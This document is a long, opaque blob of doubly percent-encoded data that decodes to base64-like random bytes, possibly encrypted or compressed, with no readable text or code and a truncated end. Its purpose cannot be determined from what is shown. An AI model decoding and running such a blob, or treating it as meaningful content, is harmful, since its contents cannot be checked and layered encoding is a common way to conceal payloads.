%34%63%25%36%65%25%32%62%25%33%31%25%37%30%25%37%34%25%34%35%25%33%33%25%34%33%25%35%36%25%35%36%25%34%34%25%36%31%25%33%39%25%33%38%25%33%38%25%37%35%25%36%66%25%37%33%25%37%32%25%34%36%25%33%34%25%36%34%25%33%32%25%36%33%25%35%34%25%36%31%25%34%37%25%36%63%25%37%32%25%36%39%25%37%30%25%35%39%25%36%31%25%34%63%25%37%36%25%35%39%25%32%66%25%36%34%25%34%38%25%34%34%25%33%37%25%36%34%25%37%61%25%37%61%25%34%33%25%36%34%25%34%32%25%37%38%25%34%31%25%33%36%25%37%32%25%36%33%25%37%61%25%35%34%25%36%62%25%33%30%25%35%34%25%36%34%25%33%31%25%34%31%25%34%66%25%37%61%25%33%36%25%34%61%25%36%65%25%34%39%25%37%61%25%34%34%25%34%34%25%32%66%25%36%32%25%36%62%25%34%38%25%36%37%25%37%38%25%33%36%25%37%35%25%35%38%25%35%30%25%35%33%25%34%35%25%36%35%25%35%38%25%37%31%25%33%34%25%32%62%25%35%36%25%33%39%25%33%38%25%36%31%25%37%38%25%36%33%25%35%37%25%37%31%25%36%61%25%34%38%25%33%39%25%34%34%25%36%36%25%33%30%25%33%31%25%33%39%25%35%36%25%35%39%25%37%30%25%34%64%25%35%33%25%36%64%25%34%61%25%34%31%25%34%35%25%35%61%25%34%65%25%34%63%25%32%62%25%34%34%25%34%64%25%34%32%25%33%37%25%33%33%25%33%36%25%35%35%25%36%66%25%36%31%25%34%66%25%34%37%25%37%36%25%34%38%25%34%61%25%37%32%25%34%38%25%33%30%25%35%39%25%36%39%25%36%33%25%37%61%25%34%34%25%37%30%25%34%66%25%35%37%25%34%31%25%36%35%25%35%32%25%37%61%25%34%38%25%34%34%25%34%63%25%33%31%25%33%32%25%36%61%25%36%35%25%35%31%25%33%39%25%33%39%25%34%32%25%36%62%25%34%32%25%36%32%25%34%35%25%33%30%25%33%36%25%34%62%25%34%61%25%36%35%25%37%38%25%33%32%25%33%39%25%33%37%25%37%34%25%33%31%25%37%31%25%36%63%25%35%61%25%37%33%25%34%61%25%37%34%25%34%66%25%37%35%25%37%33%25%33%34%25%37%36%25%34%34%25%35%32%25%36%61%25%36%33%25%34%38%25%36%35%25%33%32%25%34%33%25%35%38%25%36%61%25%33%30%25%37%31%25%33%36%25%36%35%25%37%36%25%36%36%25%37%36%25%37%32%25%37%38%25%35%35%25%32%62%25%36%63%25%34%34%25%36%66%25%37%61%25%36%65%25%35%38%25%35%61%25%36%65%25%34%62%25%34%33%25%35%35%25%36%36%25%35%32%25%37%31%25%32%66%25%36%62%25%35%39%25%33%39%25%34%35%25%36%37%25%36%32%25%37%35%25%37%35%25%36%65%25%37%35%25%35%37%25%32%66%25%36%38%25%36%36%25%33%31%25%34%65%25%33%30%25%36%64%25%36%33%25%32%66%25%36%36%25%36%62%25%34%66%25%35%39%25%34%35%25%36%34%25%34%38%25%36%31%25%34%61%25%36%31%25%33%31%25%33%39%25%36%31%25%32%66%25%36%36%25%33%33%25%34%64%25%33%34%25%37%34%25%34%34%25%33%32%25%36%36%25%36%31%25%33%30%25%33%39%25%36%34%25%33%34%25%37%30%25%37%33%25%36%39%25%36%36%25%36%39%25%34%31%25%36%61%25%35%35%25%35%61%25%35%32%25%35%32%25%37%34%25%34%35%25%35%61%25%36%62%25%33%34%25%34%37%25%36%64%25%34%61%25%35%32%25%34%65%25%36%39%25%37%33%25%37%30%25%34%35%25%36%37%25%33%35%25%36%63%25%36%36%25%37%38%25%35%37%25%33%31%25%37%30%25%34%39%25%34%34%25%36%37%25%34%61%25%36%39%25%36%61%25%35%30%25%35%39%25%36%35%25%37%33%25%37%61%25%34%38%25%36%66%25%33%38%25%35%37%25%36%39%25%35%39%25%35%37%25%37%61%25%37%61%25%33%30%25%34%64%25%36%39%25%34%64%25%34%33%25%35%39%25%36%31%25%36%36%25%37%36%25%35%39%25%32%62%25%37%36%25%32%62%25%34%64%25%33%39%25%34%34%25%34%37%25%36%31%25%34%62%25%36%36%25%36%64%25%36%62%25%35%33%25%35%38%25%36%62%25%35%36%25%35%38%25%33%34%25%36%31%25%34%61%25%35%37%25%32%66%25%36%38%25%36%65%25%32%62%25%37%32%25%36%38%25%37%31%25%36%63%25%33%33%25%35%31%25%34%36%25%37%32%25%34%64%25%32%66%25%37%61%25%36%38%25%37%32%25%34%64%25%37%38%25%36%33%25%33%35%25%35%36%25%36%63%25%37%37%25%34%34%25%36%38%25%35%61%25%34%63%25%35%34%25%33%34%25%32%62%25%37%32%25%34%39%25%34%65%25%37%61%25%33%34%25%36%33%25%35%36%25%35%35%25%36%38%25%33%39%25%36%35%25%37%34%25%35%32%25%35%37%25%36%61%25%37%31%25%35%30%25%36%65%25%34%34%25%34%31%25%34%66%25%35%31%25%37%36%25%33%39%25%35%33%25%37%30%25%34%32%25%36%39%25%35%38%25%34%63%25%34%31%25%32%62%25%36%39%25%34%66%25%37%36%25%36%34%25%34%36%25%33%34%25%36%35%25%36%35%25%34%32%25%37%36%25%33%36%25%35%61%25%35%30%25%35%34%25%35%30%25%33%34%25%36%62%25%34%63%25%37%30%25%33%33%25%34%35%25%33%33%25%37%39%25%36%37%25%34%62%25%37%34%25%34%37%25%34%37%25%34%61%25%36%64%25%33%39%25%36%33%25%37%38%25%33%35%25%34%37%25%36%35%25%36%33%25%36%37%25%37%31%25%35%61%25%34%63%25%34%37%25%33%33%25%33%30%25%36%37%25%34%61%25%37%35%25%37%61%25%37%33%25%35%30%25%33%30%25%34%32%25%34%36%25%36%36%25%34%31%25%36%33%25%33%37%25%34%64%25%35%38%25%36%61%25%35%61%25%36%64%25%35%30%25%37%33%25%32%66%25%33%37%25%37%35%25%36%31%25%34%33%25%35%61%25%32%62%25%34%33%25%34%65%25%36%65%25%34%62%25%36%34%25%33%31%25%33%34%25%34%38%25%37%61%25%36%36%25%36%36%25%33%31%25%36%62%25%35%32%25%36%66%25%37%36%25%36%62%25%37%35%25%33%39%25%34%64%25%36%63%25%33%31%25%36%36%25%33%30%25%34%36%25%35%36%25%34%66%25%34%65%25%36%65%25%36%66%25%34%38%25%36%63%25%35%30%25%37%33%25%35%31%25%33%37%25%33%36%25%33%34%25%35%35%25%34%36%25%36%63%25%36%32%25%34%63%25%37%31%25%34%63%25%34%31%25%33%37%25%36%65%25%36%66%25%37%38%25%34%33%25%33%32%25%33%36%25%37%61%25%34%64%25%37%36%25%36%34%25%32%62%25%35%33%25%34%31%25%34%63%25%36%33%25%37%32%25%36%61%25%35%35%25%36%33%25%36%31%25%33%31%25%35%38%25%34%64%25%33%32%25%34%31%25%33%34%25%34%31%25%36%64%25%36%37%25%32%66%25%34%61%25%34%62%25%33%34%25%36%63%25%37%38%25%37%35%25%35%37%25%35%36%25%35%33%25%36%32%25%33%35%25%35%32%25%34%66%25%36%36%25%37%32%25%37%32%25%36%34%25%35%31%25%34%34%25%36%35%25%35%34%25%36%39%25%36%34%25%34%34%25%37%35%25%33%32%25%33%30%25%35%32%25%35%61%25%34%37%25%34%38%25%37%30%25%33%38%25%36%64%25%32%66%25%34%66%25%35%34%25%34%35%25%37%39%25%37%33%25%34%38%25%34%37%25%33%36%25%35%39%25%36%35%25%36%33%25%34%39%25%34%37%25%36%32%25%34%35%25%37%61%25%33%36%25%34%38%25%33%36%25%35%38%25%35%31%25%36%66%25%34%63%25%37%38%25%36%37%25%34%63%25%36%32%25%35%38%25%37%34%25%35%34%25%34%37%25%37%37%25%36%31%25%34%63%25%33%34%25%37%30%25%34%61%25%35%38%25%34%36%25%37%35%25%36%65%25%36%39%25%32%62%25%36%62%25%36%35%25%33%38%25%37%33%25%36%39%25%35%30%25%37%32%25%37%38%25%32%62%25%37%34%25%35%34%25%33%30%25%33%31%25%37%39%25%32%62%25%34%64%25%35%32%25%37%35%25%33%35%25%36%31%25%37%61%25%33%35%25%33%38%25%37%61%25%33%36%25%34%64%25%37%31%25%33%38%25%34%31%25%36%63%25%34%37%25%35%33%25%37%31%25%36%39%25%35%31%25%37%36%25%35%36%25%37%32%25%34%37%25%35%33%25%34%63%25%34%31%25%34%64%25%35%36%25%34%39%25%35%33%25%35%31%25%35%39%25%37%33%25%34%65%25%36%64%25%33%30%25%35%35%25%37%30%25%36%61%25%36%32%25%37%36%25%37%32%25%36%65%25%33%30%25%36%63%25%36%66%25%35%36%25%33%35%25%36%37%25%36%37%25%36%38%25%34%36%25%34%32%25%33%36%25%34%33%25%34%61%25%34%61%25%35%33%25%36%32%25%35%37%25%33%37%25%33%35%25%33%37%25%34%62%25%34%35%25%33%32%25%34%39%25%34%66%25%36%37%25%37%30%25%34%65%25%37%37%25%36%32%25%34%35%25%35%33%25%37%61%25%35%36%25%35%30%25%34%38%25%35%31%25%35%31%25%34%33%25%34%62%25%36%31%25%34%65%25%34%62%25%37%31%25%34%66%25%36%36%25%36%38%25%34%38%25%33%31%25%36%39%25%33%31%25%37%35%25%34%34%25%36%38%25%35%31%25%33%32%25%36%32%25%35%36%25%37%37%25%33%32%25%32%62%25%35%31%25%34%32%25%36%36%25%35%34%25%37%35%25%37%35%25%33%32%25%36%36%25%34%39%25%33%37%25%34%34%25%33%30%25%35%34%25%34%31%25%36%34%25%36%66%25%34%64%25%32%62%25%34%61%25%37%32%25%34%62%25%36%37%25%32%62%25%36%35%25%32%66%25%35%30%25%34%32%25%36%38%25%32%66%25%36%65%25%36%31%25%35%39%25%36%65%25%34%31%25%33%37%25%37%38%25%36%38%25%36%66%25%33%31%25%37%61%25%34%39%25%35%38%25%36%62%25%36%37%25%35%36%25%33%34%25%35%39%25%36%62%25%36%61%25%35%32%25%37%30%25%35%39%25%36%31%25%36%35%25%36%64%25%37%61%25%36%31%25%36%62%25%37%32%25%34%64%25%36%34%25%36%32%25%34%33%25%35%36%25%33%34%25%34%33%25%33%31%25%37%32%25%33%33%25%35%38%25%33%36%25%32%62%25%37%33%25%34%37%25%33%33%25%37%39%25%34%36%25%33%34%25%36%64%25%32%66%25%33%36%25%35%31%25%32%66%25%37%38%25%34%64%25%35%30%25%33%35%25%33%33%25%33%34%25%36%39%25%32%66%25%33%34%25%33%30%25%36%34%25%36%34%25%34%39%25%33%36%25%33%31%25%34%61%25%36%34%25%36%39%25%34%65%25%36%39%25%37%35%25%35%61%25%34%62%25%35%32%25%35%31%25%34%61%25%37%34%25%35%61%25%34%37%25%34%63%25%35%32%25%36%64%25%36%63%25%33%32%25%34%66%25%36%35%25%32%66%25%36%64%25%36%39%25%36%63%25%32%66%25%37%39%25%37%61%25%34%38%25%34%39%25%32%66%25%37%61%25%33%35%25%36%33%25%33%38%25%35%39%25%33%33%25%37%37%25%33%32%25%34%62%25%35%34%25%32%66%25%34%39%25%35%39%25%37%31%25%33%37%25%33%37%25%36%36%25%37%36%25%33%37%25%37%61%25%36%64%25%34%65%25%33%37%25%36%37%25%34%65%25%33%35%25%37%61%25%36%35%25%37%36%25%32%62%25%34%63%25%36%38%25%35%36%25%34%66%25%37%61%25%35%32%25%36%31%25%32%66%25%33%33%25%34%37%25%33%32%25%37%39%25%33%30%25%35%37%25%37%35%25%33%38%25%34%36%25%34%61%25%34%34%25%36%65%25%32%62%25%36%35%25%36%65%25%36%38%25%36%65%25%35%33%25%37%33%25%36%33%25%36%33%25%37%31%25%33%38%25%35%34%25%34%66%25%33%33%25%37%38%25%36%31%25%33%31%25%36%34%25%34%36%25%36%32%25%33%34%25%36%61%25%37%35%25%35%39%25%37%61%25%36%63%25%34%63%25%37%30%25%37%34%25%37%35%25%35%34%25%34%61%25%34%65%25%37%37%25%34%66%25%35%32%25%36%39%25%36%35%25%35%39%25%37%32%25%36%63%25%34%37%25%35%33%25%37%32%25%33%33%25%36%65%25%37%37%25%37%30%25%35%36%25%36%32%25%34%37%25%34%61%25%36%61%25%37%30%25%35%30%25%34%39%25%34%37%25%37%39%25%36%66%25%35%32%25%34%32%25%36%62%25%33%35%25%36%66%25%36%39%25%36%64%25%37%32%25%36%62%25%34%66%25%33%31%25%33%37%25%36%66%25%34%61%25%34%64%25%37%30%25%35%35%25%37%31%25%35%32%25%36%38%25%36%62%25%37%37%25%36%38%25%33%37%25%33%37%25%37%39%25%36%66%25%36%37%25%34%33%25%32%66%25%36%63%25%33%30%25%34%65%25%33%35%25%36%63%25%35%39%25%34%38%25%34%33%25%36%61%25%34%35%25%35%39%25%34%63%25%36%64%25%33%32%25%36%38%25%36%39%25%36%36%25%35%38%25%35%33%25%33%39%25%36%62%25%36%61%25%35%36%25%37%35%25%35%30%25%33%31%25%34%63%25%36%34%25%36%32%25%37%31%25%37%31%25%34%32%25%35%32%25%33%37%25%34%63%25%36%61%25%35%36%25%36%65%25%35%34%25%36%64%25%34%63%25%37%37%25%34%39%25%34%32%25%37%37%25%35%33%25%34%37%25%35%38%25%33%36%25%33%32%25%33%33%25%36%61%25%36%39%25%33%34%25%37%37%25%34%35%25%35%36%25%35%36%25%34%32%25%34%38%25%37%61%25%32%62%25%34%31%25%34%31%25%36%33%25%36%38%25%34%66%25%32%62%25%36%66%25%37%61%25%37%38%25%37%32%25%33%33%25%36%37%25%34%64%25%35%37%25%33%30%25%36%32%25%34%62%25%36%32%25%37%30%25%36%35%25%34%35%25%36%66%25%34%39%25%36%61%25%37%32%25%34%36%25%35%32%25%36%32%25%33%34%25%33%35%25%33%38%25%34%63%25%36%36%25%37%31%25%33%32%25%36%61%25%37%30%25%35%33%25%33%33%25%37%37%25%33%35%25%35%30%25%35%61%25%34%39%25%35%31%25%37%36%25%37%33%25%35%34%25%36%33%25%34%36%25%35%31%25%37%36%25%37%36%25%36%32%25%35%30%25%36%66%25%35%35%25%35%61%25%33%37%25%37%37%25%36%33%25%33%35%25%33%37%25%36%36%25%35%31%25%35%32%25%34%64%25%35%61%25%34%39%25%34%39%25%35%39%25%34%64%25%37%36%25%34%35%25%33%31%25%35%31%25%35%61%25%34%63%25%36%36%25%36%34%25%34%31%25%34%38%25%34%61%25%37%30%25%34%37%25%35%30%25%34%65%25%34%36%25%35%33%25%35%35%25%37%36%25%36%64%25%33%34%25%37%36%25%36%34%25%36%65%25%35%30%25%36%38%25%35%32%25%37%33%25%37%37%25%36%65%25%35%32%25%34%34%25%36%33%25%36%32%25%34%38%25%35%30%25%33%30%25%36%38%25%34%65%25%36%36%25%36%64%25%36%63%25%35%61%25%35%37%25%33%35%25%34%64%25%33%38%25%36%32%25%35%35%25%34%64%25%33%39%25%36%62%25%33%34%25%36%38%25%35%35%25%35%34%25%33%38%25%33%34%25%37%31%25%36%35%25%36%38%25%37%61%25%35%31%25%35%35%25%33%33%25%36%66%25%35%30%25%37%32%25%35%35%25%34%32%25%36%64%25%35%31%25%34%31%25%34%61%25%35%39%25%35%36%25%37%34%25%35%35%25%37%31%25%36%65%25%35%32%25%35%37%25%33%35%25%34%37%25%35%34%25%34%37%25%35%33%25%33%38%25%36%32%25%36%33%25%35%34%25%36%33%25%33%36%25%37%36%25%34%32%25%33%34%25%34%31%25%37%31%25%34%39%25%34%32%25%36%64%25%33%38%25%37%38%25%34%63%25%37%61%25%34%39%25%36%61%25%37%35%25%33%33%25%36%62%25%34%61%25%33%31%25%36%33%25%34%65%25%35%37%25%37%31%25%34%62%25%36%38%25%33%32%25%35%61%25%37%33%25%34%32%25%35%32%25%34%31%25%36%33%25%37%36%25%33%39%25%34%61%25%34%64%25%37%39%25%37%30%25%36%32%25%34%37%25%34%37%25%36%61%25%36%37%25%36%66%25%37%31%25%35%33%25%34%62%25%36%39%25%36%64%25%37%31%25%34%35%25%36%61%25%33%38%25%34%35%25%35%32%25%34%61%25%33%30%25%35%32%25%34%34%25%33%35%25%35%39%25%37%61%25%34%64%25%36%39%25%35%30%25%34%37%25%33%37%25%34%35%25%37%34%25%37%35%25%36%32%25%36%35%25%34%61%25%37%30%25%36%31%25%33%37%25%34%65%25%36%66%25%35%34%25%36%66%25%36%39%25%33%31%25%37%30%25%35%37%25%35%37%25%35%35%25%35%38%25%34%65%25%35%37%25%33%30%25%36%38%25%36%34%25%36%62%25%34%34%25%35%35%25%33%35%25%34%38%25%37%38%25%33%30%25%36%39%25%34%66%25%37%39%25%37%38%25%34%38%25%34%62%25%35%34%25%36%31%25%36%64%25%33%31%25%35%31%25%36%34%25%35%39%25%36%34%25%34%34%25%36%35%25%33%35%25%34%36%25%35%38%25%35%30%25%36%66%25%36%65%25%37%30%25%34%32%25%37%38%25%37%30%25%36%64%25%35%39%25%34%38%25%34%33%25%35%32%25%34%35%25%33%37%25%36%38%25%36%61%25%37%33%25%37%38%25%32%66%25%34%32%25%37%61%25%34%63%25%35%32%25%35%38%25%37%31%25%36%31%25%34%37%25%33%36%25%37%33%25%37%31%25%37%37%25%36%39%25%33%38%25%33%32%25%37%30%25%33%34%25%34%39%25%34%61%25%35%32%25%33%38%25%35%31%25%36%39%25%35%36%25%35%32%25%36%39%25%36%37%25%34%61%25%35%39%25%33%38%25%37%30%25%34%34%25%34%35%25%36%66%25%34%64%25%36%61%25%36%63%25%36%34%25%35%30%25%37%35%25%34%66%25%33%38%25%37%31%25%36%61%25%37%37%25%34%39%25%37%31%25%33%35%25%36%32%25%37%34%25%36%66%25%37%34%25%33%30%25%33%33%25%33%32%25%32%62%25%37%30%25%34%65%25%37%34%25%33%36%25%34%38%25%35%61%25%37%38%25%35%37%25%34%61%25%35%36%25%36%38%25%36%63%25%36%33%25%34%65%25%34%35%25%34%61%25%35%32%25%36%34%25%36%63%25%33%34%25%36%65%25%33%39%25%36%33%25%35%38%25%34%35%25%34%64%25%33%30%25%32%66%25%37%33%25%36%61%25%35%31%25%37%32%25%33%32%25%33%35%25%36%39%25%35%30%25%36%37%25%37%61%25%34%61%25%36%63%25%35%61%25%33%34%25%36%35%25%36%34%25%36%39%25%33%34%25%33%31%25%35%32%25%36%66%25%36%66%25%37%31%25%33%39%25%37%30%25%34%61%25%36%38%25%33%32%25%36%39%25%36%65%25%32%66%25%35%61%25%36%61%25%36%31%25%35%33%25%34%34%25%33%32%25%36%66%25%36%36%25%35%36%25%36%61%25%36%31%25%37%36%25%36%62%25%36%34%25%32%62%25%36%64%25%37%34%25%33%37%25%37%32%25%37%61%25%34%32%25%36%38%25%36%33%25%36%65%25%37%34%25%37%32%25%34%33%25%36%36%25%34%32%25%33%36%25%37%32%25%35%34%25%36%63%25%34%36%25%35%39%25%34%35%25%34%31%25%34%37%25%36%31%25%34%63%25%33%39%25%37%30%25%36%38%25%33%36%25%34%63%25%35%32%25%34%37%25%33%31%25%35%37%25%34%66%25%37%37%25%37%39%25%37%35%25%37%34%25%33%31%25%33%32%25%34%31%25%33%35%25%36%62%25%37%32%25%37%36%25%37%61%25%35%32%25%36%66%25%34%36%25%35%61%25%36%38%25%36%34%25%35%36%25%33%37%25%33%34%25%37%39%25%36%62%25%34%65%25%36%65%25%34%63%25%34%61%25%33%39%25%33%34%25%35%32%25%33%33%25%37%37%25%34%38%25%36%37%25%34%63%25%35%38%25%37%34%25%35%34%25%37%61%25%36%62%25%36%61%25%37%38%25%34%66%25%34%39%25%36%34%25%36%32%25%34%37%25%37%36%25%33%32%25%34%63%25%33%39%25%33%30%25%35%39%25%36%65%25%36%32%25%36%38%25%33%37%25%36%36%25%37%32%25%34%35%25%37%32%25%34%39%25%32%62%25%33%39%25%36%66%25%35%33%25%35%32%25%37%36%25%37%33%25%34%36%25%36%61%25%36%31%25%33%39%25%36%66%25%36%62%25%34%62%25%37%34%25%34%61%25%36%34%25%37%32%25%33%39%25%32%62%25%35%39%25%36%37%25%33%31%25%34%31%25%34%62%25%32%66%25%35%32%25%34%66%25%36%35%25%35%36%25%34%34%25%35%32%25%35%33%25%34%32%25%33%33%25%34%32%25%35%32%25%34%65%25%37%38%25%33%36%25%34%65%25%36%62%25%37%35%25%33%35%25%35%39%25%33%30%25%35%32%25%36%31%25%37%33%25%33%38%25%36%35%25%37%39%25%37%37%25%34%38%25%33%37%25%35%36%25%36%61%25%32%66%25%36%64%25%36%32%25%36%34%25%37%39%25%33%36%25%36%39%25%35%31%25%33%37%25%34%32%25%35%61%25%37%39%25%34%34%25%34%35%25%34%39%25%36%66%25%37%30%25%37%38%25%36%31%25%35%32%25%36%62%25%34%61%25%33%32%25%34%32%25%34%32%25%36%39%25%36%32%25%37%35%25%36%64%25%35%33%25%35%34%25%33%35%25%33%38%25%36%36%25%37%35%25%34%34%25%37%39%25%36%33%25%37%61%25%36%31%25%34%62%25%37%38%25%35%61%25%35%34%25%35%33%25%36%38%25%34%61%25%36%63%25%33%33%25%33%39%25%35%38%25%33%38%25%34%37%25%37%39%25%36%65%25%33%31%25%33%33%25%37%30%25%33%35%25%36%39%25%34%63%25%34%37%25%36%34%25%36%66%25%34%61%25%36%65%25%35%38%25%37%36%25%34%66%25%33%30%25%35%61%25%36%63%25%35%37%25%36%31%25%35%38%25%33%32%25%36%33%25%36%32%25%35%32%25%36%33%25%33%36%25%36%31%25%36%31%25%37%32%25%37%34%25%37%34%25%34%62%25%36%62%25%34%35%25%33%35%25%33%38%25%36%36%25%36%62%25%35%35%25%36%31%25%34%38%25%36%64%25%33%32%25%37%39%25%36%66%25%33%36%25%35%30%25%36%35%25%37%32%25%37%37%25%36%65%25%37%30%25%37%33%25%33%37%25%34%36%25%35%39%25%36%63%25%34%37%25%36%39%25%35%38%25%37%61%25%35%31%25%33%39%25%36%61%25%34%35%25%36%32%25%36%38%25%36%33%25%34%65%25%36%66%25%34%64%25%37%38%25%37%34%25%33%32%25%33%33%25%34%32%25%33%33%25%33%30%25%36%33%25%37%61%25%37%37%25%34%63%25%37%32%25%36%32%25%36%63%25%33%38%25%33%35%25%37%36%25%35%61%25%36%32%25%33%33%25%35%61%25%33%34%25%34%39%25%34%35%25%35%39%25%36%38%25%35%61%25%36%31%25%33%33%25%35%39%25%33%38%25%35%38%25%35%36%25%36%65%25%34%36%25%33%32%25%32%62%25%34%65%25%36%36%25%37%34%25%36%61%25%32%62%25%34%33%25%35%34%25%36%64%25%35%61%25%34%31%25%37%30%25%33%35%25%37%30%25%36%61%25%36%39%25%35%34%25%36%39%25%36%62%25%35%33%25%37%35%25%33%36%25%36%33%25%36%64%25%32%62%25%37%37%25%34%64%25%34%66%25%34%61%25%33%35%25%33%37%25%34%66%25%34%34%25%34%33%25%36%38%25%33%39%25%37%33%25%34%64%25%35%35%25%35%34%25%32%62%25%34%31%25%34%63%25%33%35%25%36%61%25%34%34%25%37%34%25%35%61%25%37%33%25%35%39%25%37%61%25%37%30%25%37%36%25%36%33%25%37%61%25%34%33%25%33%39%25%35%35%25%37%32%25%33%34%25%37%31%25%33%39%25%34%65%25%36%34%25%33%36%25%34%38%25%36%37%25%33%30%25%33%33%25%36%36%25%37%34%25%32%66%25%33%39%25%37%32%25%37%36%25%35%34%25%35%37%25%37%37%25%32%62%25%36%34%25%33%39%25%36%39%25%33%37%25%34%36%25%36%34%25%35%35%25%36%66%25%35%36%25%36%32%25%35%38%25%37%31%25%34%66%25%34%35%25%37%30%25%36%31%25%34%34%25%34%63%25%36%33%25%32%66%25%36%36%25%36%35%25%37%30%25%32%62%25%35%34%25%34%38%25%35%30%25%35%38%25%33%33%25%33%30%25%34%64%25%36%35%25%33%31%25%37%32%25%33%39%25%37%37%25%37%31%25%36%36%25%34%65%25%36%38%25%37%61%25%33%37%25%35%30%25%36%34%25%34%62%25%34%32%25%35%35%25%36%65%25%34%63%25%36%63%25%36%62%25%35%39%25%36%31%25%37%35%25%35%30%25%32%66%25%37%31%25%34%65%25%36%35%25%36%63%25%33%38%25%36%33%25%33%37%25%37%31%25%36%37%25%36%36%25%36%62%25%36%63%25%34%37%25%34%34%25%36%65%25%37%39%25%33%39%25%36%31%25%36%34%25%36%35%25%34%37%25%36%62%25%33%37%25%33%35%25%34%33%25%37%38%25%35%39%25%36%33%25%36%62%25%32%66%25%37%35%25%35%33%25%37%36%25%33%34%25%37%33%25%35%34%25%37%39%25%34%62%25%35%32%25%35%61%25%34%63%25%33%34%25%35%34%25%34%34%25%34%34%25%36%66%25%33%39%25%34%36%25%37%39%25%36%62%25%35%32%25%36%37%25%35%33%25%35%33%25%34%36%25%35%37%25%33%30%25%37%61%25%36%64%25%36%64%25%37%61%25%34%66%25%32%66%25%35%31%25%37%39%25%35%38%25%35%36%25%37%35%25%36%39%25%36%31%25%36%33%25%37%31%25%37%32%25%36%61%25%36%64%25%37%36%25%33%32%25%34%37%25%34%34%25%35%33%25%34%36%25%33%32%25%37%31%25%34%34%25%37%61%25%36%33%25%34%35%25%36%33%25%37%37%25%34%36%25%34%31%25%36%61%25%36%33%25%36%37%25%36%36%25%34%31%25%37%32%25%36%64%25%37%39%25%37%36%25%36%66%25%34%65%25%34%64%25%35%34%25%37%32%25%34%32%25%34%64%25%36%32%25%34%64%25%37%37%25%37%35%25%36%62%25%36%63%25%33%30%25%33%36%25%37%33%25%36%37%25%37%35%25%36%64%25%36%37%25%37%38%25%34%64%25%35%36%25%35%33%25%35%37%25%35%35%25%36%38%25%36%63%25%36%35%25%36%37%25%34%66%25%37%30%25%35%38%25%34%37%25%34%36%25%33%31%25%37%33%25%36%39%25%35%36%25%35%33%25%36%38%25%35%30%25%35%30%25%36%64%25%35%37%25%36%64%25%34%66%25%35%61%25%35%34%25%34%36%25%36%35%25%37%37%25%35%39%25%34%66%25%35%30%25%37%39%25%34%65%25%36%32%25%33%31%25%37%32%25%37%33%25%37%32%25%36%37%25%36%34%25%34%38%25%36%65%25%32%62%25%35%34%25%33%30%25%34%66%25%36%62%25%33%33%25%37%35%25%33%31%25%37%31%25%36%31%25%35%61%25%33%33%25%35%61%25%33%32%25%34%65%25%36%65%25%36%35%25%33%33%25%37%35%25%34%36%25%35%32%25%34%35%25%35%37%25%37%38%25%33%30%25%33%32%25%33%37%25%37%33%25%35%38%25%33%33%25%37%39%25%35%30%25%37%33%25%35%38%25%34%64%25%37%33%25%35%32%25%35%34%25%33%39%25%34%63%25%36%65%25%33%39%25%32%62%25%37%33%25%34%38%25%33%32%25%36%37%25%35%37%25%34%64%25%37%35%25%34%32%25%34%66%25%34%32%25%34%37%25%36%62%25%35%33%25%36%33%25%36%37%25%33%36%25%34%64%25%37%32%25%33%32%25%34%33%25%36%61%25%37%35%25%33%39%25%37%37%25%35%32%25%34%36%25%36%39%25%36%64%25%34%34%25%34%36%25%33%33%25%33%30%25%35%30%25%33%33%25%37%32%25%37%61%25%35%61%25%36%62%25%37%37%25%35%35%25%37%39%25%33%37%25%33%33%25%37%33%25%36%61%25%35%31%25%35%37%25%37%39%25%37%36%25%34%66%25%33%36%25%35%36%25%33%31%25%37%35%25%37%61%25%33%32%25%35%33%25%37%32%25%36%64%25%35%38%25%33%37%25%34%62%25%37%34%25%37%33%25%33%36%25%33%32%25%33%33%25%36%36%25%34%36%25%32%66%25%35%36%25%36%37%25%34%61%25%33%36%25%33%35%25%37%30%25%36%34%25%37%38%25%35%35%25%35%37%25%36%31%25%37%30%25%32%66%25%36%37%25%35%36%25%33%38%25%36%63%25%35%35%25%37%61%25%36%64%25%36%62%25%33%38%25%36%37%25%35%38%25%37%33%25%36%31%25%33%38%25%34%31%25%33%34%25%35%38%25%36%35%25%33%30%25%35%30%25%36%37%25%35%37%25%36%31%25%36%64%25%35%33%25%36%37%25%34%37%25%33%35%25%35%34%25%37%35%25%35%36%25%36%34%25%36%39%25%36%62%25%37%30%25%37%61%25%33%39%25%36%63%25%37%31%25%36%66%25%34%31%25%37%31%25%34%61%25%35%38%25%35%32%25%33%33%25%36%39%25%35%33%25%37%36%25%36%35%25%35%34%25%33%38%25%37%32%25%33%32%25%36%34%25%34%63%25%36%39%25%36%66%25%32%66%25%36%63%25%36%61%25%35%61%25%37%30%25%37%39%25%37%35%25%36%31%25%36%66%25%36%62%25%35%34%25%36%62%25%35%36%25%36%31%25%34%64%25%33%35%25%35%37%25%36%34%25%37%38%25%36%32%25%37%33%25%37%38%25%36%63%25%37%34%25%33%32%25%36%66%25%33%33%25%35%37%25%36%65%25%35%30%25%33%33%25%35%39%25%33%34%25%37%32%25%37%32%25%36%63%25%37%31%25%35%31%25%35%36%25%35%33%25%36%35%25%34%64%25%37%31%25%36%38%25%34%66%25%36%37%25%34%36%25%34%39%25%37%36%25%34%38%25%33%35%25%35%37%25%36%66%25%37%39%25%35%37%25%35%31%25%35%32%25%34%62%25%34%35%25%34%66%25%36%65%25%34%38%25%33%36%25%36%66%25%37%32%25%33%37%25%35%38%25%32%62%25%37%61%25%34%31%25%37%33%25%33%34%25%35%37%25%33%32%25%33%36%25%35%33%25%36%38%25%33%36%25%35%61%25%34%63%25%33%30%25%37%39%25%33%31%25%33%37%25%37%33%25%36%37%25%33%38%25%34%38%25%37%39%25%35%32%25%36%32%25%35%32%25%37%30%25%34%62%25%34%36%25%36%63%25%36%64%25%37%34%25%34%34%25%34%32%25%36%31%25%33%36%25%34%31%25%34%35%25%34%66%25%33%31%25%37%38%25%34%32%25%34%38%25%36%39%25%36%34%25%35%38%25%36%64%25%33%39%25%37%36%25%35%30%25%34%37%25%34%66%25%35%31%25%34%63%25%35%38%25%34%39%25%35%39%25%34%62%25%36%37%25%35%37%25%34%66%25%37%37%25%34%66%25%33%38%25%33%38%25%35%36%25%36%63%25%36%35%25%35%38%25%37%30%25%36%33%25%37%61%25%35%36%25%34%33%25%33%33%25%35%32%25%33%32%25%33%34%25%35%35%25%33%32%25%37%34%25%37%34%25%37%38%25%34%37%25%34%63%25%34%34%25%36%36%25%36%66%25%36%39%25%35%37%25%35%36%25%37%39%25%37%33%25%33%34%25%33%30%25%36%63%25%34%36%25%34%65%25%37%30%25%35%39%25%36%33%25%36%61%25%34%66%25%37%38%25%35%34%25%34%37%25%33%38%25%36%37%25%36%63%25%37%33%25%37%34%25%37%34%25%34%65%25